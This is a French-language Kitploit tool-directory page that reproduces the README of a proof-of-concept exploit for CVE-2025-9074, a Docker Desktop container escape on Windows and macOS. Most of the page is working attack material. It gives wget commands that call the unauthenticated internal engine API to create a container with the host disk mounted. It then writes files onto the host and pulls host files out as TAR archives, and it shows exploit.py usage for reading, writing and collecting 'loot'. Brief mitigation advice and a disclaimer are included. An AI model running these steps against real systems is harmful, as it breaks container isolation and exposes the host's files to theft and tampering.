Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-9074 — Exploit PoC pour CVE-2025-9074 démontrant une évasion complète de conteneur Docker Desktop sur Windows et macOS via une API interne non authentifiée du moteur Docker. | Kitploit
Outils/GitHubGitHub/pucagit/cve-2025-9074
Analyse des VulnérabilitésExploitationTests d'IntrusionSécurité CloudApprentissage et ÉducationÉvasion de Conteneur
GitHubpucagit/cve-2025-9074

CVE-2025-9074

Exploit PoC pour CVE-2025-9074 démontrant une évasion complète de conteneur Docker Desktop sur Windows et macOS via une API interne non authentifiée du moteur Docker.

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-9074 – Évasion complète de Docker sur Docker Desktop Windows et macOS

📌 Description

Docker Desktop expose l’API du moteur Docker interne à l’adresse http://192.168.65.7:2375 à tout conteneur en cours d’exécution — sans authentification ni contrôle d’accès.

Étant donné que le moteur lui-même peut monter le système de fichiers de l’hôte, un conteneur peut appeler cette API pour créer un nouveau conteneur qui monte par liaison le disque de l’hôte, puis utiliser ce conteneur pour lire et écrire des fichiers arbitraires sur l’hôte — une évasion complète du conteneur vers l’hôte.

📝 Références

  • Enregistrement CVE-2025-9074
  • Notes de version de Docker Desktop (corrigé dans 4.44.3)
  • Recherche de Felix Boulet

🎯 Versions concernées

  • Docker Desktop ≤ 4.44.3 sur Windows et macOS

⚙️ Fonctionnement

  1. Atteindre l’API. Un conteneur en cours d’exécution se connecte à l’API du moteur Docker à http://192.168.65.7:2375 — aucune information d’identification n’est requise.
  2. Créer un conteneur privilégié. Il envoie POST /containers/create avec Binds: ["/mnt/host:/host_root"], montant le disque de l’hôte dans un nouveau conteneur. À l’intérieur de la VM Docker, le système de fichiers de l’hôte est exposé à /mnt/host (par exemple, le lecteur Windows C: se trouve à /mnt/host/c).
  3. Démarrer le conteneur. POST /containers/{id}/start active le montage par liaison, donnant un accès complet à l’hôte.
  4. Écrire des fichiers sur l’hôte. Le nouveau conteneur exécute une commande qui écrit dans le montage par liaison (par exemple echo pwned > /host_root/c/test/pwn.txt).
  5. Lire des fichiers sur l’hôte. GET /containers/{id}/archive?path=... renvoie tout chemin de l’hôte sous forme d’archive TAR — aucun shell n’est nécessaire.

🧪 Configuration du laboratoire

Prérequis

  • Docker Desktop antérieur à 4.44.3 (Windows ou macOS)
  • Un conteneur attaquant capable d’atteindre l’API interne (n’importe quel conteneur)

Préparer les données de test (Windows)

Créez C:\test\readme.txt avec un contenu d’exemple pour que la démonstration de lecture ait une cible.

poc 1

Lancer un conteneur attaquant

root@kitploit:~
docker run -it --rm alpine /bin/sh

Toutes les étapes manuelles ci-dessous s’exécutent à l’intérieur de ce conteneur (alpine est livré avec wget). Définissez une variable shell pour l’API afin de garder les commandes courtes :

root@kitploit:~
API=http://192.168.65.7:2375

✍️ Reproduction — ÉCRIRE sur l’hôte

Objectif : créer C:\test\pwn.txt sur l’hôte depuis l’intérieur d’un conteneur.

root@kitploit:~
# 1. Créez un conteneur qui monte le lecteur C: de l’hôte et y écrit un fichier.
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create

# 2. Extrayez le nouvel ID du conteneur de la réponse JSON.
cid=$(cut -d'"' -f4 create.json)

# 3. Démarrez-le — la commande s’exécute et écrit le fichier sur l’hôte.
wget -q -O - --post-data='' $API/containers/$cid/start

Ce qui s’est passé :

  • Binds: /mnt/host:/host_root monte les lecteurs de l’hôte dans le nouveau conteneur.
  • La commande du conteneur écrit pwned dans C:\test\pwn.txt (/host_root/c/test/pwn.txt).
  • Aucune information d’identification n’a jamais été requise.

Résultat attendu : C:\test\pwn.txt existe maintenant sur l’hôte.

poc 2


📖 Reproduction — LIRE depuis l’hôte

Objectif : lire C:\test\readme.txt depuis l’hôte depuis l’intérieur d’un conteneur.

root@kitploit:~
# 1. Créez + démarrez un conteneur avec le disque hôte monté (maintenu en vie brièvement).
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start

# 2. Demandez au moteur une archive TAR du répertoire hôte, puis extrayez-la.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt

Ce qui s’est passé :

  • Le même montage par liaison expose le disque hôte de manière accessible en lecture au nouveau conteneur.
  • GET /containers/{id}/archive?path=... renvoie tout chemin hôte sous forme d’archive TAR — aucun shell nécessaire.
  • L’extraction de l’archive révèle le contenu des fichiers hôtes.

Résultat attendu : le contenu de C:\test\readme.txt est affiché.

poc 3


🤖 Exploitation automatisée — exploit.py

exploit.py automatise les deux flux. Il utilise uniquement la bibliothèque standard Python, détecte automatiquement le montage hôte (Windows /mnt/host/c vs macOS/Linux /), et traduit les chemins hôtes natifs pour vous.

L’API interne (192.168.65.7:2375) n’est accessible que depuis l’intérieur d’un conteneur, exécutez donc le script dans un conteneur qui a Python :

root@kitploit:~
# Depuis le répertoire du dépôt sur l’hôte :
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info

Sur Windows PowerShell, utilisez -v "${PWD}:/x" ; sur cmd.exe utilisez -v "%cd%:/x".

Vérifier l’accès

root@kitploit:~
python /x/exploit.py info

Ping l’API, détecte le système d’exploitation hôte et liste les entrées du montage hôte de premier niveau.

Écrire un fichier sur l’hôte

root@kitploit:~
# Hôte Windows
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'

# Hôte macOS/Linux (ou envoyer le contenu via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt

Lire un fichier sur l’hôte

root@kitploit:~
# Afficher sur stdout
python /x/exploit.py read 'C:\test\readme.txt'

# Ou extraire (fichier ou répertoire entier) dans ./loot
python /x/exploit.py read 'C:\test' --out ./loot

Indicateurs utiles


🛡️ Atténuation

  • Mettez à niveau Docker Desktop vers ≥ 4.44.3 sur Windows et macOS.
  • N’exécutez pas d’images non fiables ; l’API non corrigée est accessible depuis n’importe quel conteneur.

⚠️ Avertissement

Cette preuve de concept est destinée uniquement aux tests autorisés, à l’éducation et à la recherche. L’auteur décline toute responsabilité en cas d’utilisation abusive. Exécutez-la uniquement sur des systèmes que vous possédez ou pour lesquels vous êtes autorisé à effectuer des tests.


🙏 Attribution

Cette preuve de concept et ce README sont dérivés des recherches de Felix Boulet. Tout le crédit pour la découverte et l’analyse originales revient à l’auteur original.


📜 Licence

Ce projet est sous licence MIT.

Télécharger l’outil
IndicateurObjectif
--api URLRemplacer le point de terminaison API (par défaut http://192.168.65.7:2375)
--image NAMEImage pour le conteneur d’exploitation (par défaut alpine, téléchargée automatiquement si absente)
--vm-mount PATHIgnorer la détection automatique et forcer le montage hôte dans la VM (ex : /mnt/host ou /)